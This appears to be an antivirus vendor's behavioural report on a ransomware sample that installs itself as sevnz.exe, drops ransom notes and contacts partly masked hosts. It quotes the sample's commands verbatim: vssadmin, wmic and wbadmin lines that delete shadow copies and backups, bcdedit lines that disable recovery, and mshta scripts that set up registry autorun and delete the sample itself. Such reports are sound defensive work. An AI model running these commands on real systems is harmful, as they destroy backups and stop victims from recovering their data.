Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\RunOnce] '{45E73A27-D16C-4EDB-ADE8-0C069E54AF30}' = '%APPDATA%\sevnz.exe'
Malicious functions
To complicate detection of its presence in the operating system,
deletes volume shadow copies.
Injects code into
the following user processes:
- sevnz.exe
Modifies file system
Creates the following files
- %APPDATA%\sevnz.exe
- C:\far2\if you want to get all your files back, please read this.txt
- C:\far2\addons\if you want to get all your files back, please read this.txt
- C:\far2\addons\shell\if you want to get all your files back, please read this.txt
- C:\far2\documentation\eng\if you want to get all your files back, please read this.txt
- C:\far2\documentation\rus\if you want to get all your files back, please read this.txt
- C:\far2\encyclopedia\if you want to get all your files back, please read this.txt
- C:\far2\encyclopedia\tap\if you want to get all your files back, please read this.txt
- C:\far2\plugins\align\if you want to get all your files back, please read this.txt
- C:\far2\plugins\arclite\if you want to get all your files back, please read this.txt
- C:\far2\plugins\autowrap\if you want to get all your files back, please read this.txt
- C:\far2\plugins\brackets\if you want to get all your files back, please read this.txt
Deletes the following files
- %APPDATA%\sevnz.exe
Modifies the following files
- C:\far2\far.map
- C:\far2\plugins\autowrap\autowrap.map
- C:\far2\plugins\arclite\arclite_rus.hlf
- C:\far2\plugins\arclite\arclite_eng.hlf
- C:\far2\plugins\arclite\arclite.map
- C:\far2\plugins\align\align.map
- C:\far2\encyclopedia\tap\code.bin
- C:\far2\encyclopedia\farencyclopedia_ru.chm
- C:\far2\documentation\rus\techinfo.txt
- C:\far2\documentation\rus\plugins_review.txt
- C:\far2\documentation\rus\plugins_install.txt
- C:\far2\documentation\rus\far_faq.txt
- C:\far2\documentation\rus\bug_report.txt
- C:\far2\documentation\rus\arc_support.txt
- C:\far2\documentation\eng\techinfo.txt
- C:\far2\documentation\eng\plugins_review.txt
- C:\far2\documentation\eng\plugins_install.txt
- C:\far2\documentation\eng\far_faq.txt
- C:\far2\documentation\eng\bug_report.txt
- C:\far2\documentation\eng\arc_support.txt
- C:\far2\addons\shell\farhere.inf
- C:\far2\addons\readme.txt
- C:\far2\file_id.diz
- C:\far2\farrus.hlf
- C:\far2\farhun.hlf
- C:\far2\fareng.hlf
- C:\far2\plugins\brackets\brackeng.hlf
- C:\far2\plugins\brackets\brackets.map
Substitutes the following files
- %APPDATA%\sevnz.exe
Deletes itself.
Network activity
Connects to
- 'ip###ger.info':80
- 'ip###ger.org':443
- 'microsoft.com':80
- 'oc##.#ectigo.com':80
TCP
- 'ip###ger.info':443
UDP
- DNS ASK ip###ger.info
- DNS ASK ip###ger.org
- DNS ASK microsoft.com
- DNS ASK oc##.#ectigo.com
Miscellaneous
Searches for the following windows
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c copy /y "<Full path to file>" "%APPDATA%\sevnz.exe"' (with hidden window)
- '%WINDIR%\syswow64\mshta.exe' "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('<File name>.exe');close()}catch(e){}},10);"' (with hidden window)
- '%WINDIR%\syswow64\mshta.exe' "javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('sevnz.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c wmic SHADOWCOPY DELETE' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin Delete Shadows /All /Quiet' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} recoveryenabled No' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c copy /y "<Full path to file>" "%APPDATA%\sevnz.exe"
- '%WINDIR%\syswow64\mshta.exe' "javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('<File name>.exe');close()}catch(e){}},10);"
- '%WINDIR%\syswow64\mshta.exe' "javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('sevnz.exe').Path;o.RegWrite('HKCU\\Software\\Microsoft...
- '%WINDIR%\syswow64\cmd.exe' /c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0
- '%WINDIR%\syswow64\cmd.exe' /c wmic SHADOWCOPY DELETE
- '%WINDIR%\syswow64\cmd.exe' /c vssadmin Delete Shadows /All /Quiet
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} recoveryenabled No
- '%WINDIR%\syswow64\cmd.exe' /c bcdedit /set {default} bootstatuspolicy ignoreallfailures